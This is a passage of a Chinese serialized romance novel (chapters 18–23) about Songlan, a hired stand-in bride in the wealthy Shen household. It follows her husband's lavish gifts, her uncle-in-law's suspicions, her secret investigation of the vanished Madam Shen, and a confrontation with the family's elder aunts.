他就像在看一个路人,眼底只有无视和平静。 随后,周正安一句话也没说,直接离开了。 看着周正安远去的身影,叶心蕊眼底满是不甘,她指尖深深嵌入掌心,沁出红红的血丝。 其实,就算周正安知道了真相也没什么,毕竟周家想娶的媳妇是她。 比起知道真相,她更害怕的是,周正安爱上了那个冒牌货。 叶心蕊想了想,拿起手机,给叶家的哥哥打了个电话。 叶心蕊:“哥,我让你查的人呢?周家找的那个替身是谁?查出来了没有?” 电话那头回答道:“周家把跟那个女人有关的东西全部抹除了,我查清还需要一点时间。” 叶心蕊:“那快点查!我要知道那个人是谁!” 等查出那个冒牌货是谁,她一定要她好看! 她绝对不允许周正安爱上别人! 尤其那个别人还是她的替身。 第十八章 暧昧的痕迹 雨越下越大。 周正安撑着伞在雨中漫步,衣服没多久就被打湿了。 但他宁愿淋雨,也不愿意回去。 不知不觉,周正安又走到了菘蓝居住的水云居。 他隔着雕花石窗看向古典雅致的院落,眼底闪过一抹担忧。 又下雨了,她有没有犯关节炎?膝盖疼不疼? 想到这里,周正安站在回廊上,拿出手机打了个电话。 他托人找了一位懂针灸的老中医,来沈园给菘蓝看病。 水云居。 菘蓝窝在沙发里玩手机,腿上盖着羊绒毛毯。 今天下雨,她膝盖疼,不怎么想出去。 一名佣人走到她身前,语气恭敬道:“少夫人,周家表叔来了,还带了一名医生。” 菘蓝听闻,眉头高高蹙起。 她现在一点也不想见周正安。 他对她这么上心,不是什么好事。 紧接着,菘蓝听到院子里响起一阵脚步声。 然而,脚步声很快就顿住了,外面的人似乎被拦住了。 菘蓝透过窗户往外看,看到沈错站在回廊里,挡住了周正安。 曲折的回廊中,两人冷冷对视。 沈错挑眉看着周正安:“表叔,你怎么来了?” 周正安看着身旁的老中医道:“这是精通针灸的白老先生,擅长医治关节疾病。” 沈错扯了扯唇角,似笑非笑道: “多谢表叔费心,可我身体好得很,没有任何疾病,请你们回去吧。” 周正安微微偏头,无视沈错的拒绝,语气强硬道: “我是为徐小姐请的医生,她上次寒气入体,诱发了关节炎,今天下雨,她膝盖会疼。” 听闻,沈错微微眯眼,眸中闪烁着冷光。 “表叔,注意你的称呼,她现在不是徐小姐了,她是沈家的少夫人,你应该称呼她为侄媳妇。” 沈错唇角微勾,故意把侄媳妇这三个字咬得很重。 周正安则是用一种微嘲的眼神看着沈错。 什么徐小姐,什么少夫人,什么侄媳妇,你连她是谁都不知道。 两个男人冷冷对视,空气中一股浓重的火药味。 周正安:“请你让一下。” 沈错:“不太方便。” 周正安直视沈错,语气坚决道:“她需要治疗。” 沈错双手插兜,眉眼一弯,眼底掠过一抹坏笑: “谢谢表叔的好意,但不好意思啊,我夫人现在操劳过度,体力透支,需要缓缓,不方便会客。” 操劳过度?体力透支? 周正安眉头拧起,声音中带着一丝怒意,“她身体不舒服,你还让她操持家务?” “咳咳.....” 沈错咳嗽了两声,漫不经心地扯了扯衣领,故意露出一小截脖颈。 周正安看到他脖颈上有几块红色印记。 很像欢爱留下的痕迹。 周正安顿时脸色发白,怔愣地站在原地。 “你......” 周正安张着唇,感觉喉咙像塞了一团湿棉花,话语卡在气口,咽不下去,吐不出来。 心脏一阵钝痛。 沈错似笑非笑地看着他,明知故问道:“表叔你怎么了?脸色怎么这么难看啊?” 周正安没有说话,酸涩的牙关咬得嗡鸣作响。 他沉默了几秒,往菘蓝所在的屋子深深看了一眼,然后转身离去。 现在还不是撕破脸的时候。 只要她还是沈家的少夫人,他就没有资格,也没有立场生气。 等他找到证据,证明她不是徐幼蓝,他就可以光明正大地带她走。 沈错看到周正安被气走了,抹了点止痒膏,涂在脖颈上。 他笑吟吟地看着周正安的背影,得意地昂着脖子。 啧,这秋天的蚊子,就是猛啊~ 叮了他好几个包。 ** 沈错推门走进屋内,看到菘蓝拥着毛毯坐在沙发上,面前堆了一堆红包。 上次敬茶,菘蓝收了一堆红包还没拆。 今天下雨,她不想出门,就窝在家里数钱。 菘蓝数钱的时候,眼睛里像落满了星辰,亮晶晶的。 沈错搓着双手走向菘蓝,然后把捂热的手放到她膝盖上。 “今天下雨,你膝盖痛吗?” 说话的时候,他能感觉到手下的骨骼在隐隐作响。 犯了关节炎就是这种症状。 菘蓝本来在兴致勃勃地拆红包,感受到膝盖一热,她身体顿了一下,随后敷衍道:“嗯,还好。” 其实她膝盖很疼,但她已经习惯这种疼痛了。 沈错心疼地看着她道: “我给你请了医生,医生下午会过来,你在国外居住的城市湿气很大吗?怎么会得关节炎?” 菘蓝睫毛低垂,避开沈错的眼睛,一本正经道: “额,是小时候学游泳落下的病根,在凉水里泡久了。” 说完,她继续拆红包数钱。 沈错看着她笑,“别累着了。” 菘蓝眯着眼睛,笑得像个小财迷:“数钱怎么会累呢?钱当然是越多越好!” 沈错看着菘蓝的财迷样,突然有些疑惑。 据他所知,徐家很宝贝徐幼蓝这个女儿。 富贵人家娇养出来的女儿,怎么是个小财迷。 半晌,他出声问道:“徐家对你不好?平时不给你钱花?” 菘蓝手指微微一僵。 糟了,她数钱数得太开心,忘记徐小姐的人设了。 被家里娇养长大的小公主,根本不缺钱,怎么会像普通人家的新媳妇一样,那么在意红包。 菘蓝很快稳住心神,冲着沈错娇嗔地翻了个白眼: “你懂什么?新媳妇收到的红包越多,就代表越受欢迎,这不是钱的事儿。” 这个解释很巧妙,沈错没再多想,单手支起下巴,笑吟吟地看着菘蓝拆红包。 看着看着,他突然问了一句:“听说,你这些年一直在国外上学?” 提到过去的事情,菘蓝瞬间警觉。 她一边数着钱一边回答道:“是啊。” 沈错又问:“那你学的什么专业?” 菘蓝神色自然,语气淡淡道:“心理学。” 沈错挑眉,“哦?心理学,有点厉害啊?” 随即,他抓起菘蓝的手,放在自己的胸口,笑道: “那你猜猜,我心里现在在想什么?” 菘蓝白了他一眼,揶揄道:“不好意思,我学的是幼儿心理学,你已经是大人了哦。” 沈错:“幼儿心理学?” 菘蓝:“嗯呐~我喜欢小孩子嘛。” 菘蓝声音温温柔柔,甜得像蓬松绵软的棉花糖。 她的回应看似不经意,但其实每一句话都仔细斟酌过。 每一句都半真半假。 她不是徐幼蓝,没有出国留过学,但她确实学过心理学,她有幼儿心理学证书。 只有虚虚实实,才不容易露馅。 听到菘蓝喜欢小孩子,沈错像是回忆起了什么,看她的眼神愈发温柔。 随后,他又问道:“这些年你一直在国外学习,没有回过国?” 菘蓝点了点头。 徐幼蓝自小在国外长大,确实没回过国。 听闻,沈错眉头顿时蹙起,质疑道:“可是,我在国内见过你。” 第十九章 山茶花钻戒 菘蓝心猛地一沉。 什么? 沈错在国内见过她? 可是怎么可能呢,他们根本就不是一个圈层的人。 他是海都顶级豪门的少爷,而她之前一直生活在十八线开外的小城镇。 他们两个就像两道平行线,永远不可能有交点。 菘蓝呼吸变得紧促,但面上依旧不动声色。 她不敢强调自己一直在国外,只是迷茫地看着沈错道:“你会不会是认错人了?我没有见过你呀?” 沈错双手抱胸,嘴角扬起,笑着道:“我不可能认错。” 她可是他找了整整三年的人。 怎么可能认错。 菘蓝睫毛颤了颤,眼神飘忽,“那....那你在哪里见过我?” 沈错盯着菘蓝白皙的小脸,缓缓说了四个字。 “星语学院。” 菘蓝心里咯噔一下。 星语学院是一家儿童特殊教育学校,她三年前在里面当过老师。 难道,难道沈错去过星语学院? 可星语学院在偏僻贫瘠的徐县,是个名不见经传的小地方,距离海都十万八千里...... 菘蓝一直低眉不语,沈错敏锐地捕捉到她有些不安。 他伸手挑起她尖巧的下巴,笑道:“老婆,你为什么要对我撒谎?” 他明明在国内见过她,她却说她一直在国外。 一点也不诚实。 片刻的功夫,菘蓝心思百转。 她伸手打掉沈错的爪子,瞪着一双水润的桃花眼: “我撒什么谎,你别上纲上线,我是偷偷在星语学院做过义工。 我想用在国外学到的知识,帮助到更多孩子。 当义工很苦,我怕家里人担心,就瞒着他们,也没跟任何人提起过。 你是不是什么事情都要刨根问底呀,真讨人厌!” 菘蓝的表情很凶,像一只炸了猫的猫咪,一脸嫌弃地看着沈错。 沈错没想到菘蓝反应这么大,连忙顺毛认错,“哎呀,对不起,老婆,是我多事,我错了,你罚我嘛。” 菘蓝白了他一眼,指了指门口:“那你现在出去,别碍我眼。” 沈错:“行,我这就撤。” 赶走了沈错,菘蓝终于松了口气,继续数红包。 事实证明,只要红包够多,数钱真的会数累。 阴雨天又容易犯困,菘蓝数着数着,窝在红包堆里睡着了。 她像猫儿一样窝成一团,长长的头发铺在胳膊上。 过了一会,沈错从外面走进来。 他看到菘蓝双眸安静地闭着,微翘的睫毛投射出一片淡淡的阴影。 呼吸间,秀气的鼻尖和淡粉色的樱唇微微翕动,睡得香甜惬意。 沈错小心翼翼地将菘蓝抱到床上,帮她掖了掖被角,然后轻手轻脚地退出了卧室。 走到大厅,他想起菘蓝数钱的财迷样,不禁莞尔一笑,随后朝李顺招了招手。 “顺儿,等少夫人明天醒了,把保险箱里的东西交给她。” 李顺听闻点了点头:“好嘞!” ** 第二天。 菘蓝睡到九点才醒。 水云居的佣人早已准备好了精致丰盛的早餐。 菘蓝吃完早餐,看到李顺领着一帮佣人走了进来。 每个佣人手里都捧着华丽的首饰盒,她们一字排开后,纷纷打开了盒子。 一排排的钻戒,明晃晃的,闪闪发亮。 天花板被晃得亮了几个度。 菘蓝诧异地睁大眼睛。 不是,这是把首饰店搬家里来了? 李顺:“少夫人,少爷说家里给你准备的钻戒不好看,重新给你买了。” 钻戒各式各样,每一枚都价值不菲,且都是成双成对的。 菘蓝想起沈错在婚礼上说过这件事,她本以为那只是随口说说。 李顺:“少夫人,少爷说了,您想戴哪一款就戴哪一款,每天换着花样戴都行。” 意思就是说,她想戴哪一款,沈错就跟着换哪款。 菘蓝挑了一枚山茶花戒托的钻戒,她是个颜控,喜欢漂亮、精致的东西。 不规则的圈镶钻石围成山茶花的形状,紧密托举着闪闪发亮的主钻,灯光下璀璨耀眼,莹莹生光。 白色山茶,是一种很高傲的花。 它的花瓣不会一片一片凋落,而是会在最绚烂的时候,整朵花一起凋落。 热烈、决绝。 她很喜欢。 菘蓝满意地看着手指上的戒指道:“我喜欢山茶花,就这个吧,其他的收起来。” 李顺点了点头:“好嘞!” 挑选完钻戒,李顺又带着几个保镖扛着一个保险箱走了进来。 李顺:少夫人,少爷出门前,让我把这些东西交给你。” 保险箱里装了厚厚一摞的文件,菘蓝翻开看了看,发现是存折、房产和地产证,随便一套房产的估值都在千万往上。 李顺:“这些都是少爷名下的个人财产,拟定协议的律师等会就到。” 菘蓝愣了愣,“什么意思?” 李顺:“少爷说,要把这些财产转到你的名下,划分成你的私人财产。” 菘蓝有些震惊,沈错疯了? 他把全部家当都送给自己了? 李顺笑着道:“少爷说,您跟他之间不存在婚内共同财产,他的钱和人都是你的,所以他的钱都是你的钱,你的钱还是你的钱。” 菘蓝:“?” “我有点听不懂。” 李顺嘿嘿一笑:“少爷这是在向您表达爱意呢,这些都是送您的礼物,希望您喜欢。” 菘蓝看了眼满满当当的保险箱。 嗯,这诚意十足的礼物,是个人都会喜欢。 只可惜,这些是给徐小姐的,而她并不是徐小姐。 菘蓝注意到保险箱里有个小小的铁盒子,铁盒锈迹斑驳,已经看不出原样。 “这是什么东西?” 菘蓝拿起小盒子,发现上面落了锁,打不开,轻轻晃动,能听到珠子来回滚动的声响。 难道里面装的是珠宝? 可是,珠宝怎么会用一个破破烂烂的铁盒子装着? 李顺解释道:“少夫人,这个铁盒里装着少爷最宝贝的东西,他让我把这个也交给你保管。” 菘蓝有些好奇,什么东西能让沈错这么宝贝? 可,如果真的很宝贝,为什么要用一个破烂的铁盒子装着? 菘蓝问李顺:“这里面装了什么?” 李顺摇了摇头:“具体装了什么,我也不知道。” 菘蓝又看向保险柜,除了小铁盒,里面还有一样十分显眼的东西。 那是一张泛黄发旧的明信片,可能被雨水冲泡过,肿胀发皱,看不清原来的模样,背后的字迹也已经模糊不清。 菘蓝看了半天没看出什么名堂,便把明信片放回了原地。 这些旧物既然放在保险箱里,对于沈错来说,肯定有特殊的意义。 第二十章 我要加钱 就在这时,菘蓝的手机突然响了,来电显示的名称是“爸爸”。 菘蓝微微垂眸。 是雇主的电话。 徐家这个时间找她,肯定是有急事。 菘蓝把小铁盒放回保险柜,看向李顺道:“我有点事,要回一趟家。” 李顺看了眼时间,有些吃惊道:“啊?少夫人,您这么早就要过去?不先吃早餐吗?” 菘蓝:“我回去吃。” 沈家在城南,徐家在城北,相距遥远。 清晨的海都还在酣睡,路上没有什么车,菘蓝坐在副驾驶,看着天边的朝霞发呆。 霞光很美,橘红色的微光层层铺开,泛着灿烂的金边。 没过多久,迎面驶来一辆黑色加长版豪华轿车。 菘蓝看着看着,突然觉得那车子有点眼熟。 当看到“港BA0000”的车牌号的时候,她惊讶地瞪大了眼睛。 那不是白楚年的车吗! 透过风窗玻璃,菘蓝看到了一张极美的脸。 白楚年坐在副驾驶上,穿着中式盘扣的刺绣绸衣。 疾风将他如墨的长发吹至脑后,露出瓷白的额头,远山一样的眉,整个人雅致得像一幅画。 双方的车速都很快,根本来不及避开,菘蓝下意识偏了偏头。 两车迅速相遇,然后错开。 车内,双目微阖的白楚年突然睁开眼睛,转头看向背道而驰的那辆车子。 司机察觉到白楚年的异样,连忙问道:“少爷,怎么了?” 白楚年怔愣了一会,神情恍惚地摇了摇头。 “没,没什么。” 他一定是太想她了,不然怎么看到谁都觉得像她。 另一边,菘蓝自我安慰地捏了捏眉心。 刚刚车速那么快,白楚年应该没看清她的样子。 怎么回事,他不是去其他地方看病了吗?怎么还在海都? 菘蓝看向开车的助理,试探性地问道:“刚刚那是白家的车?我听说他们不是已经离开这里了吗?” 助理:“哦哦,白少爷已经看完病了,他返回海都,是要去护都寺给死去的亡妻祈福。” 菘蓝:“.........” 他的亡妻好端端地在这坐着呢。 菘蓝又试探性地问道:“那他去完寺庙应该就回港城了吧?” 助理回答道:“白少爷好像还要在寺庙住一段时间,要给他死去的妻子安排一场宏大的法事。 我听说白少爷跟他的妻子伉俪情深,只是可惜....” 菘蓝在心底嘁了一声。 什么伉俪情深,那恩爱都是做给外人看的。 她在白家的时候,白楚年防她跟防贼似的,不过是把她当做对付李家的筹码。 人都死了两年了,怎么还在做秀? 难道?她人死了?他爱上了? ** 两个小时后。 菘蓝抵达徐家,见到了徐家现任家主——徐念青。 徐念青神色憔悴,一脸倦容,眼眶乌青,斜着软绵绵的身子靠在座椅上。 一看昨晚就没有睡好。 他看到菘蓝来了,揉了揉通红的双眼,温声问道:“菘蓝小姐,你在沈家过得好吗?沈错没有欺负你吧?” 菘蓝没想到徐念青居然会关心她,愣了一下道:“额,没有,他对我还行。” 不管是不是逢场作戏,至少沈错明面上对她还可以。 徐念青听闻,有些意外地看了菘蓝一眼,低声叮嘱道: “你要小心沈错,别让他知道你在调查他母亲的事。” 菘蓝除了代替徐幼蓝嫁进沈家,还有一个任务。 她要查清沈夫人到底是生是死。 人,活要见人,死要见尸。 看着徐念青凝重的神情,菘蓝蹙了蹙眉,问道:“他们母子关系不好吗?” 徐念青眼底闪过一抹深深的忌惮,然后摇了摇头:“很不好。” 随后,他继续道: “我妹妹的死因是个谜,有人说她是病死的,有人说她自杀的,还有人说她是被害死的。 徐家虽然有些家底,但在沈家面前渺如蝼蚁,他们想要掩盖些事情,简直易如反掌。 所以我查了很多年,什么都没查出来。 这么多年,我一直重复做着一个梦,我梦到我妹妹被关在一个漆黑的屋子里。 她断断续续的唱着歌,声音像哭又像在笑。 我总觉得我妹妹还活着,她只是被囚禁在了沈家的某个地方。” 徐念青说完叹了口气,眼神认真地看向菘蓝: “菘蓝小姐,这些年我在沈园安插了很多眼线,可他们最后都神秘失踪了。 你行事一定要小心,你替嫁的事情一旦被识破,我们徐家也会遭到清算。 还有,沈老爷子年龄大了,沈家现在看似风平浪静,其实暗流涌动。 你是沈家的少夫人,一定要小心谨慎。” 菘蓝点了点头。 她明白,沈家这样鼎盛的豪门,鲜花着锦,烈火烹油。 人多,事多,鬼也多。 菘蓝想了想道:“徐老板,我有一个问题。” 徐念青:“你问。” 菘蓝:“沈错的母亲,是您的亲妹妹吗?” 徐念青:“是我的亲妹妹。” 菘蓝拧了拧眉,直言不讳道:“那徐幼蓝跟沈错是表兄妹啊,这是近亲结婚,沈家不怕生出的孩子有问题吗?” 徐念青苦笑了一声:“沈老爷子迷信,他找人算过,说徐家的女儿能旺沈家。 自从我妹妹死后,徐家和沈家的关系就闹得很僵,但我父亲一心想攀附沈家,就逼着我答应了这门亲事。” 菘蓝听完,歪着脑袋,眨了眨眼睛:“所以,你从不让徐幼蓝抛头露面,就是方便以后找人替嫁?” 徐念青赞赏地看了菘蓝一眼。 “没错,是这样的,我反对这门婚事,但没有能力对抗沈家,便只能这样谋划了。” 菘蓝点点头,打趣道:“明白,没人忍心看着自己孩子嫁进火坑,所以这火坑只能我来跳了。” 徐念青语气有些惭愧:“抱歉,我实在是没有办法.....” 菘蓝连忙摆了摆手,毫不在意道:“没事,没事,拿人钱财,替人消灾,这是我该做的。” 随后,她又皱着眉,拖着尾音,“只是.....” 徐念青紧张地看着菘蓝:“只是什么?” 菘蓝抿了抿唇,脑海中闪过周正安和白楚年的身影,顿时感觉有点头疼。 “只是我觉得.....您的这个委托,难度有点大。” 她万万没想到,居然会在沈家遇到她两个前夫,而且她的前夫们还跟现任老公关系匪浅。 她要是暴露了身份,别说沈家了,其他两家也不会放过她。 她现在像是在走钢丝,每一步都得小心翼翼,走错一步,就会死无葬身之地。 徐念青一脸紧张地看着菘蓝,他很害怕菘蓝撂挑子不干了。 他知道这件事很危险。 他曾经派了十几个眼线进沈园打探消息,却没有一个活着回来。 “菘蓝小姐,如果您现在要退出的话,我也能理解......” “不!” 菘蓝摇头打断了徐念青,目光灼灼地看着他道:“不,我没想跑路。” 徐念青皱眉看着她:“那你.....” 菘蓝:“我是要加钱!” 徐念青皱着的眉头松开,然后如释重负地笑了,爽快道: “哈哈哈!加钱!必须加!委托金,我给你翻三倍!” 菘蓝也笑了。 “徐老板,我不会让你失望的。” 钱到位,人干废! 第二十一章 规矩 菘蓝离开没多久,沈错就捧着一大束洋桔梗回了水云居。 他步伐轻快,单手抱着花,左手的无名指戴着一枚山茶花形状的钻戒,在晨曦的微光中闪闪发亮。 他的黑色风衣被露水打湿,衣角晕出大片大片暗沉的水痕。 怀中的洋桔梗娇嫩好看,奶绿、淡紫、浅粉、月白色的花瓣堆叠在一起,柔美得像一幅油画。 微风拂过,一路花香。 沈错回到水云居,没看到菘蓝,便问李顺:“我老婆呢?” 李顺憨憨地摸了摸头:“少夫人回娘家了。” 沈错脚步一顿,脸色瞬间阴沉,“谁惹她生气了?” 李顺连忙解释:“不是不是,少爷你误会了,没人惹少夫人生气,是徐家有事,少夫人才回去的。” 沈错哦了一声。 他还以为谁把他老婆气回娘家了。 沈错随手将风衣丢到椅子上,然后挽起袖口,露出一截劲瘦有力的手腕。 他拿起桔梗花,剪掉多余的花杆和枝叶,悠悠地插进花瓶里。 过了一会,一大批山茶花树和山茶花盆栽被佣人搬进了沈园。 很快,水云居前前后后都栽满了移植的山茶花。 白色的山茶花像落了一地的月光,美得令人心颤。 这些花都是沈错早上去鲜花基地订购的。 李顺看着忙前忙后的花农,不禁咋舌:“少爷,原来你大早上跑去买花了。” 沈错轻轻摩挲了一下钻戒,嘴角漾开一抹笑意,“她喜欢嘛。” 只要是她喜欢的,她想要的,他都会送她。 随后,沈错的目光落到保险箱上,问道:“我送她的这些东西,她喜欢吗?” 李顺回道:“喜欢!少夫人可开心了,少爷你对少夫人真是太好了!” 沈错点点头,又看向保险箱里的小铁盒和明信片,问道:“她当时看到这些,是什么反应?” 李顺挠了挠头:“额,少夫人没什么反应,只是有点好奇。” 沈错嘴角的笑意逐渐褪去,手僵在半空,深沉的眸色掠过一缕怅然。 她,果然不记得了。 李顺看了眼小铁盒,好奇地问道:“少爷,这东西到底什么来头啊,你为什么这么宝贝?” 沈错:“这是别人送我的礼物。” 李顺:“谁送的?” 沈错勾了勾唇:“当然是我心心念念的人送的啊。” 李顺目光怪异地看了沈错一眼。 他突然觉得自家少爷有点渣。 明明已经娶了少夫人,心里却还对别人念念不忘。 唉,人果然都是吃着锅里,看着碗里。 菘蓝回到水云居的时候,已经是中午了。 她一进门,就看到了满园的白色山茶花。 初冬的山茶花微微绽放,洁白无暇,层层叠叠的碗状花朵,散发着淡淡的香味。 除了花香,空气中还残留着移栽花树时的泥土香。 菘蓝有些惊讶,不过一个早上,园子就变了样。 “老婆,喜欢吗?” 沈错悄悄出现在菘蓝身后,双手环住她的腰,左手的钻戒闪得耀眼。 看到同款山茶花钻戒,菘蓝才后知后觉。 原来因为她早上的一句话,沈错就把园子里种满了山茶花。 菘蓝睫毛颤了颤。 这人,确实会讨女孩子欢心。 菘蓝很诚实地点了点头,“喜欢。” 沈错眼底的笑意像波澜一样荡开,搂着她不放,追问道:“你喜欢我还是喜欢花?” 菘蓝像只翘着尾巴的高傲小猫,扬起下巴道:“我喜欢你肯为我花心思。” 人,她不感兴趣,但是花的确美。 菘蓝的回答一点也不客气,但沈错也不恼,他笑着道:“你是我老婆,我不对你花心思,该对谁花心思?” 沈错笑得舒朗,眸色清澈透亮,眼底的爱意像破开冰层的春水,潺潺不息。 菘蓝仰头看着沈错,微微发愣。 她见过很多伪装爱意的眼神,遇到过很多假装爱她的人。 她被人骗过,她也骗过很多人。 她很会伪装,也能轻易看破别人的伪装。 谁的眼中掺杂着算计,裹挟着现实,她一眼就能看破。 可她却没在沈错的眼中看出半分虚伪。 沈错这个人,她实在捉摸不透。 如果他是在做戏,那他的演技一定在她之上。 菘蓝收敛目光,避开沈错炽热的眼神,抿唇道:“我肚子饿了。” 从早上到现在,她没有吃过任何东西。 沈错一听,连忙放开她,吩咐佣人准备午饭。 很快,佣人就备好了丰盛的午餐。 但沈错吃到一半,接了个电话就出去了。 菘蓝也没过问,自顾自地吃东西,吃完饭后,她决定去园子里溜达一会。 还没等她出门,沈园的老管家带着几个人来了水云居。 老管家快步走到菘蓝面前,语气恭敬道: “少夫人,沈老爷子让我带给您几句话,这些话我本来早就应该带到的,但您前些天身体不适,所以我今天才过来。” 菘蓝听闻点了点头,示意老管家继续往下说。 老管家:“少夫人,沈园有几条必须遵守的规矩。 第一,沈园的祠堂是禁地,平日没有许可,任何人不得入内。 第二,不要在园内谈论过世的夫人,跟她有关的任何话题都不要提,尤其是在少爷面前。 第三,沈园禁止养狗。” 菘蓝面无表情地听完,问道:“这规矩是给我一个人定的,还是所有人都要遵守?” 老管家恭敬地回道: “少夫人,沈园所有人都要遵守这几条规矩。” 菘蓝目光闪了闪,徐念青也提醒过她,让她千万别在沈错面前提起沈夫人。 现在老管家也这样叮嘱她。 看来沈错跟他母亲的关系真的很不好。 菘蓝看着老管家点了点头:“好,我知道了,只是我有一个问题。” 老管家:“少夫人尽管问。” 菘蓝好奇地问道:“沈园为什么不能养狗?” 第二十二章 长辈施压 老管家回答道:“哦,是这样的,老爷子对狗毛过敏,所以沈园禁止养狗。” 菘蓝听完也没有多问,只是点了点头道:“嗯,明白了。” 老管家走后,天色莫名阴了下来。 园内郁郁葱葱的树木披了一层黑影,像从地底挣扎伸出的黑色手臂,给人一种阴沉森冷的感觉。 冷风一吹,树叶相互摩擦,院内响起沙沙的风声。 菘蓝抬眸看了眼幽深的庭院,细细回想老管家传达的三个规矩。 不许提过世的沈夫人,不许养狗,不许进祠堂。 嗯,她在这座阔气却透着陈腐旧味的宅院里,嗅到了一丝秘密的味道。 过了一会,天边的阴云散去,日光重现,阳光将枝叶照得苍翠欲滴,庭院又鲜活了起来。 日光融融,晒得人暖洋洋的。 一个佣人走到菘蓝身旁道: “少夫人,您体内寒气重,刚刚少爷打电话过来,让我陪您去园子里逛逛,晒晒太阳。” 说完,佣人又笑着道:“少夫人,少爷对您可真上心啊,自己在外面忙,还要抽空往家里打电话。” 其他佣人也一脸羡慕地附和道:“是呀是呀,我们从没见过少爷对谁这么上心,少爷可真宠少夫人啊。” 菘蓝没有说话,低头喝了一口茶。 这种无条件的宠溺,让她觉得很不真实。 她一直觉得世界上没有无缘无故的好,也没有不求回报的爱。 菘蓝放下手中的茶盏,神色平静地看向身旁的佣人,“走吧,你们带我去园子里逛逛。” 她要尽快熟悉沈园,开始调查沈夫人的事情。 深秋的沈园很美,园子里栽种了很多名品菊花。 瑞云殿、山舞银蛇、鹅毛粉黛、一枝浓艳开得灿烂繁盛。 菘蓝一边赏花闲逛,一边暗中记下路线,方便晚上单独行动。 不远处的传花亭里,叶心蕊和沈家几个伯母正在围炉煮茶,聊天赏菊。 过了一会,几个花农走进花圃,把开得正盛的菊花连根刨起。 叶心蕊看到花农的举动,皱眉问道:“这么好看的花,你们拔了干嘛?” 花农们回答道:“这菊花是少爷让我们拔的,拔了种上少夫人喜欢的山茶。” 沈家几个伯母听到这话,不约而同地皱了皱眉,心里很不舒服。 她们在沈园住了这么多年,也没权按照自己的喜好修整园子。 几人开始议论: “这徐家的女儿确实有手段,才进门几天,就开始当家做主了。” “确实有手段,居然能降住阿错,听说阿错都把她宠到天上了。” “这么高调张扬,估计又是个不安于室的货色。” 听着沈家伯母们的议论,叶心蕊沉着眉眼,脸色也不大好看。 她还记得上次宴会失火,周正安对她不管不顾,反而跑去救徐幼蓝的事。 几个女人说着说着,看向叶心蕊,“心蕊啊,你们家正安跟她是不是认识啊?” 叶心蕊嘴角挤出一抹笑容,“应该不认识吧,徐家的女儿不是在国外长大吗?她嫁进沈家之前,又没回过国。” 沈二伯母蹙着眉头道: “不认识?我感觉不像啊,那次宴会失火,正安不管不顾地冲进去救她,连你都不管了。” 这些话像针一样扎进叶心蕊心里,她明明非常介意,但嘴上依旧轻描淡写道: “没什么,事分轻重缓急嘛,侄媳妇当时的情况更危险一些......” 沈二伯母看了眼不远处的菘蓝,压低声音道: “你要小心了,徐家的女人,可有手段了,最会勾引男人。 当年那个徐钰莹就把沈家搅得天翻地覆,这个徐幼蓝一看也是个不安于室的货色。” 一听到徐钰莹这个名字,坐在最中间的沈大伯母眉心蹙了蹙,冷声道: “别说了,沈园不能提那个名字。” 沈大伯母一说话,其他人都不出声了,亭内陷入一阵诡异的沉默。 菘蓝看到叶心蕊在亭子里,本想回避,但看到几位长辈也在,又觉得直接走开很不礼貌,便走过去打招呼。 沈二伯母看到菘蓝走了过来,板着个脸,皮笑肉不笑道: “有啥好赏的?这些菊花都要被拔了种山茶,沈园的花啊,咱们可没福气看.....” 沈二伯母阴阳怪气,沈大伯母低头喝茶,眼皮都没抬一下,其他人默不作声。 阳光划出一道明暗分界线,亭子里的女人们坐在阴影里,菘蓝站在阳光下,好看的侧脸被照得透亮。 沈大伯母瞥了菘蓝一眼,把茶盏重重往桌子上一放,看着她道: “侄媳妇啊,阿错是我从小看着长大的,我也算是他半个母亲。 看得出来,阿错很喜欢你,很宠你。 你嫁给他,他转你资产,送你房产地契,钻石珠宝。 你有危险,他舍命相救,你生病,他嘘寒问暖,忙前忙后。 你喜欢山茶,他就把园里的菊花都拔掉,种上你喜欢的山茶。 但是,沈园这么大,住的人这么多,不能事事以你为先。 阿错宠你,但你自己也要懂分寸,不要任由他胡来。 你刚嫁进沈家,不要太张扬高调,更要懂得谦卑,懂得敬重长辈。” 沈大伯母说完,沈二伯母立即接上话茬: “就是啊,老爷子还在呢,还轮不到小辈们当家做主。” 菘蓝垂眸不语。 她从沈二伯母的话里,听出了一些耐人寻味的东西。 普通人家,儿子对儿媳妇太好,太过维护,难免会被婆家嫉妒。 但在沈家,这些人的出发点不是嫉妒,而是争夺利益。 很简单。 现在沈园里住着的人,都认为自己是沈园的主人,都觉得自己对沈园的一草一木有支配权。 所以,动了园子里的花,等同于动了她们的蛋糕。 这些长辈拿身份压她,指责她张扬高调,让她低头道歉,其实是在害怕,害怕她将来掌控沈家。 管中窥豹,不过一点小事,这些伯母就要上纲上线,迫不及待捍卫自己的利益。 如果她没猜错,沈错跟这些伯母的关系也未必很好。 说不定表面上相亲相爱,背地里为了争夺家族利益,动刀动枪。 她今日要是低眉顺眼,妥协道歉,以后的日子肯定也不会好过。 第二十三章 误会 亭里的几人自持长辈,端坐在椅子上,高高昂着脑袋,等待菘蓝低头服软。 新过门的媳妇就像面团,越揉越软,不揉就变硬了。 现在不拿捏,以后就不好拿捏了。 菘蓝本不想在沈家长辈们面前表现得很强硬,但今天的事情,明显就是服从性测试。 如果她顺着这些人的意思,以后肯定处处被压一头。 只有让这些人知道她不好惹,以后才不会有人敢惹她。 菘蓝抬起头,直视沈大伯母的眼睛,语气幽幽道: “伯母,您心直口快,是个敞亮人,那我也直话直说。 我可没有让人把园子里的花都拔了种山茶,这些都是您侄子的主意。 您要是觉得这事不对,可以去找他,当面跟他说,不用来找我。 您侄子什么脾气,您应该也知道,他想做什么事情,我拦不住。 但您是他半个母亲,所以您说话,他一定会听。” 菘蓝的语气不疾不徐,不轻不重,却堵得沈大伯母哑口无言。 她跟侄子的关系其实并不亲密,说自己算半个母亲,只是想仗着身份压人。 她没想到,这个侄媳居然如此目无尊长。 “你.....你.....” 沈大伯母张着嘴巴,半天没说出一句话。 “伯母,我还有事,先走了。 您要是喜欢菊花,我可以让人天天给您送一束,不管是白的还是黄的,都行。” 菘蓝冲着沈大伯母温柔一笑,随后转身离开,连个背影都没给人留。 强硬得不行。 叶心蕊瞪大了眼睛,看向沈大伯母,语气夸张道:“她....什么白的黄的菊花,她这是在咒你吗?” 沈大伯母没接话,她知道叶心蕊在拱火,默默喝了一口茶。 沈二伯母嗤笑一声:“咱家这侄媳看着娇娇弱弱的,结果也是个不好惹的。” 沈大伯母沉冷的目光闪了闪,狭长的眼角挤出一面扇形的鱼尾纹。 她语气幽幽道:“侄媳小门小户出身,涵养是差了点,但人不坏,只要好好教导,会是个贤妻良母。” 